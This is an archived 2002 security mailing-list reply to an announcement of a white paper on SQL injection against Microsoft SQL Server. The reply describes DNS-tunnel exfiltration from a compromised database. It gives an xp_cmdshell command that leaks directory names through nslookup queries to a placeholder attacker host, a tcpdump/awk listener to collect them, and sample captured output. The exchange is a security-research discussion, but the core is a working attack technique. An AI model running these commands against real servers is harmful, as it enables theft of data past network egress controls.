Hi.
Nice paper :> We have found that outgoing connections are almost always
blocked (especially from SQL servers that are a little deeper in the DMZ
than the 'net facing webservers). (DNS requests often slip by)
If you can execute commands remotely (through ur xp_ of choice) then you
can use batch commands to throw together a simple DNS tunnel.
Example..
-snip-
exec master..xp_cmdshell 'for /F "usebackq tokens=1,2,3,4*" %i in (`dir
c:\*.`) do (nslookup %l. YOUR_IP_HERE)'
Running a sniffer on host YOUR_IP_HERE (with an awk / split or two)
Wh00t:~# tcpdump -l dst YOUR_IP_HERE and port 53 | awk '{print $7}'
.
WINNT.
tools.
bytes
-snip-
If outgoing dns isnt allowed directly, you can still have some joy
requesting %variable.DOMAIN_U_CAN_SNIFF.com and letting it follow its DNS
path..
======================================================================
Haroon Meer MH
SensePost Information Security +27 83786 6637
PGP : http://www.sensepost.com/pgp/haroon.txt haroonat_private
======================================================================
On Wed, 28 Aug 2002, Aaron C. Newman wrote:
> Hi All,
>
> I just posted a short white paper on Microsoft SQL Server and SQL
> Injection titled "Manipulating Microsoft SQL Server Using SQL Injection"
> at:
>
> http://www.appsecinc.com/news/briefing.html#inject14
>
> The paper was written and researched by Cesar Cerrudo
> (sqlsecat_private).
>
> All comments are welcome.
>
> Regards,
> Aaron
> _______________________________
> Aaron C. Newman
> anewmanat_private
> CTO/Founder
> Application Security, Inc.
> www.appsecinc.com
> Phone: 212-490-6022
> Fax: 212-490-6456
> - Protection Where It Counts -
>
>
>
>
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